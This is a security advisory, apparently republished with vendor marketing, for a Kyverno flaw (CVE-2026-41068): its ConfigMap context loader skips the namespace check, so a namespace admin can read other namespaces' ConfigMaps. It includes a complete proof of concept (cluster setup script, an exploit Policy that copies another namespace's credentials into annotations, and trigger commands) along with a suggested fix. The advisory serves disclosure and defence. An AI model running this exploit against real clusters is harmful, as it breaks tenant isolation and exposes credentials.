Summary
CVE-2026-22039 fixed cross-namespace privilege escalation in Kyverno's apiCall context by validating the URLPath field. However, the ConfigMap context loader has the identical vulnerability, the configMap.namespace field accepts any namespace with zero validation, allowing a namespace admin to read ConfigMaps from any namespace using Kyverno's privileged service account. This is a complete RBAC bypass in multi-tenant Kubernetes clusters.
Details
Root cause: The CVE-2026-22039 fix in pkg/engine/apicall/apiCall.go (lines 73-83) validates that URLPath references only the policy's own namespace using regex. However, the ConfigMap context loader at pkg/engine/context/loaders/configmap.go performs no namespace validation on the namespace field.
Code path comparison:
| CVE-2026-22039 (fixed) | This vulnerability (unfixed) | |
|---|---|---|
| Location | apiCall.URLPath field |
configMap.namespace field |
| Code path | apicall.Fetch() → namespace regex validation |
configmap.NewConfigMapLoader() → no validation |
| Root cause | Variable substitution + missing validation | Same pattern, still unpatched |
Exploit mechanism:
- Namespace admin creates a Kyverno Policy in their namespace (standard RBAC)
- Policy uses
context.configMap.namespace: "victim-ns"to reference another namespace - Kyverno's admission controller service account (has cluster-wide
viewrole) fetches the ConfigMap - Policy mutates a trigger ConfigMap to exfiltrate the stolen data via annotations
Affected code: pkg/engine/context/loaders/configmap.go - NewConfigMapLoader() does not validate resolved namespace against policy namespace.
PoC
Full reproduction (5 minutes on kind):
#!/bin/bash
# Setup: kind cluster + Kyverno v1.17.0
kind create cluster --name kyverno-poc --wait 60s
helm repo add kyverno https://kyverno.github.io/kyverno/
helm install kyverno kyverno/kyverno --namespace kyverno --create-namespace --version 3.7.0 --wait
# Create attacker and victim namespaces
kubectl create namespace attacker-ns
kubectl create namespace victim-ns
# Plant sensitive data in victim namespace
kubectl create configmap sensitive-config -n victim-ns \
--from-literal=db-password="s3cr3t-p4ssw0rd" \
--from-literal=api-key="AKIAIOSFODNN7EXAMPLE"
# Create namespace admin RBAC (standard multi-tenant setup)
kubectl create serviceaccount ns-admin -n attacker-ns
kubectl create rolebinding ns-admin-binding --clusterrole=admin \
--serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns
kubectl create role kyverno-policy-creator --verb=create,get,list \
--resource=policies.kyverno.io --namespace=attacker-ns
kubectl create rolebinding kyverno-policy-binding --role=kyverno-policy-creator \
--serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns
# Verify namespace admin CANNOT directly access victim-ns
kubectl get configmap sensitive-config -n victim-ns \
--as=system:serviceaccount:attacker-ns:ns-admin
# Error: Forbidden (expected)
Exploit policy:
# Apply as namespace admin
apiVersion: kyverno.io/v1
kind: Policy
metadata:
name: configmap-crossns-read
namespace: attacker-ns
spec:
rules:
- name: steal-configmap
match:
any:
- resources:
kinds: [ConfigMap]
names: ["trigger-cm"]
context:
- name: stolendata
configMap:
name: "sensitive-config"
namespace: "victim-ns" # <-- NO VALIDATION
mutate:
patchStrategicMerge:
metadata:
annotations:
exfil-db-password: "{{ stolendata.data.\"db-password\" }}"
exfil-api-key: "{{ stolendata.data.\"api-key\" }}"
Trigger and exfiltrate:
# Trigger policy (as namespace admin)
kubectl apply -f - <<EOF
apiVersion: v1
kind: ConfigMap
metadata:
name: trigger-cm
namespace: attacker-ns
data:
innocent: "data"
EOF
# Read exfiltrated secrets
kubectl get configmap trigger-cm -n attacker-ns -o jsonpath='{.metadata.annotations}' \
--as=system:serviceaccount:attacker-ns:ns-admin | python3 -m json.tool
# Output:
# {
# "exfil-api-key": "AKIAIOSFODNN7EXAMPLE",
# "exfil-db-password": "s3cr3t-p4ssw0rd"
# }
Result: Namespace admin successfully read secrets from victim-ns despite having NO RBAC access.
Impact
Severity: HIGH (CVSS 7.7)
Who is affected:
- Any Kubernetes cluster running Kyverno v1.17.0 (and earlier) with namespace-scoped Policy creation enabled (default)
- Multi-tenant clusters where ConfigMaps contain sensitive data
- Azure Kubernetes Service (AKS) and other managed K8s using Kyverno
Attack prerequisites:
- Namespace admin privileges (standard RBAC in multi-tenant clusters)
- Ability to create Kyverno Policy resources (default for namespace admins)
- No cluster-admin required
What can be exfiltrated:
- Any ConfigMap from any namespace
- Common targets: database credentials, API keys, service configurations, application secrets stored in ConfigMaps
Why this matters:
- Namespace isolation is a fundamental Kubernetes security boundary
- Namespace admin is an expected, common RBAC level in production multi-tenant clusters
- Violates the principle of least privilege and breaks multi-tenancy guarantees
Suggested fix:
Apply the same namespace validation from apicall.Fetch() to configmap.NewConfigMapLoader():
- Pass
policyNamespacetoNewConfigMapLoader() - After variable substitution on
namespace, validate resolved namespace ==policyNamespace - Return error if validation fails
Also audit other context loaders (globalReference, imageRegistry, variable) for the same pattern.
Tested versions:
- Kyverno: v1.17.0 (latest, includes CVE-2026-22039 fix)
- Helm chart: 3.7.0
- Kubernetes: v1.35.0 (kind)
The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.
CVE-2026-41068 has a CVSS score of 7.7 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
In the interim: Keep the dependency up to date. Audit access-control checks to ensure they are applied consistently and cannot be bypassed.
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-41068? CVE-2026-41068 is a high-severity incorrect authorization vulnerability in github.com/kyverno/kyverno (go), affecting versions <= 1.17.1. No fixed version is listed yet. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
- How severe is CVE-2026-41068? CVE-2026-41068 has a CVSS score of 7.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/kyverno/kyverno are affected by CVE-2026-41068? github.com/kyverno/kyverno (go) versions <= 1.17.1 is affected.
- Is there a fix for CVE-2026-41068? No fixed version is listed for CVE-2026-41068 yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is CVE-2026-41068 exploitable, and should I be worried? Whether CVE-2026-41068 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-41068 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-41068? No fixed version is listed yet. In the interim: Keep the dependency up to date. Audit access-control checks to ensure they are applied consistently and cannot be bypassed.